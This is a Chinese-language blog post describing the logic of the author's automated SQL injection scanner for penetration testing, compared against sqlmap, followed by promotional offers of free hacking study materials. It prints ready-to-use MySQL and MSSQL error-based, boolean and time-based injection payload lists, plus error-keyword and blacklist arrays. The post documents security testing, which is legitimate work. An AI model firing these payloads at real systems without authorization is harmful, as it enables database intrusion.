在渗透测试项目中,经常会收集大量的接口信息,为了提高效率,通常会使用工具来完成自动化测试,针对大量接口的漏洞探测,xray 这方面做的非常不错,但对于 POST 请求,探测方式只能采用被动请求或逐个接口测试的方式。
但是我在实际的工作中,需要针对大量 GET、POST 接口和参数做漏洞探测,而目前比较关注的是 SQL 注入漏洞的检测,所以基于 Xray 关于 SQL 注入检测的 payload,自己完成了一个自动检测 SQL 注入的工具。
今天就来分享一下整个工具的检测逻辑,有兴趣的朋友可以加入信安之路知识星球,注册文库后即可下载源代码进行查看和使用。
检测步骤
整个测试过程分为五步:
1、请求 URL 接口,判断其是否存在,避免做无用功
2、基础判断,添加一些特殊字符(如单引号、双引号、括号等),判断页面是否发生变化,如果发生变化,且在页面中出现报错信息,则进一步使用报错注入的语句进行判断,是否存在漏洞,用到的 payload 如下:
#判断报错的漏洞类型执行 payload 计算 1 的 md5 值 c4ca4238a0b923820dcc509a6f75849``error_mysql_payloads = ["extractvalue(1,concat(char(126),md5(1)))", "1/**/and/**/extractvalue(1,concat(char(126),md5(1)))", "'and/**/extractvalue(1,concat(char(126),md5(1)))and'",")/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/(1", "')/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/('a"]``error_mssql_payloads = ["convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))", "1/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))","'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))>'0", ")/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/(1", "')/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/('a"]
3、针对数字型参数,通过减号验证漏洞是否存在,比如 ID 为 101-1 的结果是否与 ID 为 100 的结果一致,如果一致则认为该参数存在漏洞
4、针对参数进行布尔注入验证,例如常用的 and 1=1 这样的参数,主要 payload 参考:
#判断是否存在 bool 型注入,计算页面相似度``bool_common_payload = [["1/**/and+3=3", "1/**/and+3=6"], ["'and'c'='c", "'and'd'='f"], ["%'and'%'='", "%'and'%'='d"]]
5、最后检查参数是否存在延时注入,通过判断延时的请求时间来判断是否存在注入,延时 payload 参考:
time_common_payload =[["'and(select*from(select+sleep(6))a/**/union/**/select+1)='", "'and(select*from(select+sleep(1))a/**/union/**/select+1)='"], ["(select*from(select+sleep(6)union/**/select+1)a)", "(select*from(select+sleep(1)union/**/select+1)a)"],["/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/", "/**/and(select+1)>0waitfor/**/delay'0:0:1'/**/"], ["'and(select+1)>0waitfor/**/delay'0:0:6", "'and(select+1)>0waitfor/**/delay'0:0:1"]]
关键点
在实现的过程中,最为关键的部分就是判断两次请求的页面是否一致,并且排除一些错误干扰,主要有以下几点:
1、状态码判断,两次请求的状态码是否一致
2、错误信息判断,根据报错的关键词进行匹配,比如:
error_mysql_infolist = ["SQL syntax"]``error_mssql_infolist = ["Exception", "SQL Server", "80040e14", "引号不完整"]``error_access_infolist = ["Microsoft JET Database Engine"]
3、页面相似度判断,计算两次请求的页面相似度,使用的是 github 上分享的相似度计算
https://github.com/SPuerBRead/HTMLSimilarity
4、判断页面是否被 WAF 拦截,将 WAF 检测应用其中,针对存在 WAF 的接口,暂时跳过
5、针对一些 PHP 的框架,参数中有些路径啥的无需探测,增加了黑名单参数关键词,比如:
#黑名单参数名``black_parma = ["method", "mod", "s", "act", "Action", "a", "m", "c"]``
6、在参数中增加检测 payload 时,除了报错注入检测,其他检测不应该出现非正常响应,所以定义了一个黑名单响应码列表:
black_code = [-1, 0, 404, 403, 500, 503, 405, 999]
实战测试
1、报错注入
程序逻辑设置,只要存在报错注入,且能执行 md5 函数,则跳出检测,因为可以百分之百确定存在注入漏洞。
2、数字注入
案例只检测出数字注入,没有检测出布尔注入,通常这两个是同时存在的,可能是 payload 的问题:
使用 SQLmap 进行验证:
sqlmap 检测出了布尔注入,而脚本未检测出。
3、布尔注入
使用 sqlmap 进行验证:
该案例只检测出目标存在布尔注入,跟脚本检测结果相同。
4、时间盲注
案例中只检测到时间盲注,为检测到其他注入方式:
使用 SQLmap 进行验证:
从结果上看,工具在验证方面还存在可以优化的部分,因为 sqlmap 检测出来了布尔注入,而该脚本未能实现。
总结
以上就是我写的探测 SQL 注入的工具逻辑和关键点,未来实战过程中还会根据实际情况进行优化更新
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
侵权,请联系删除。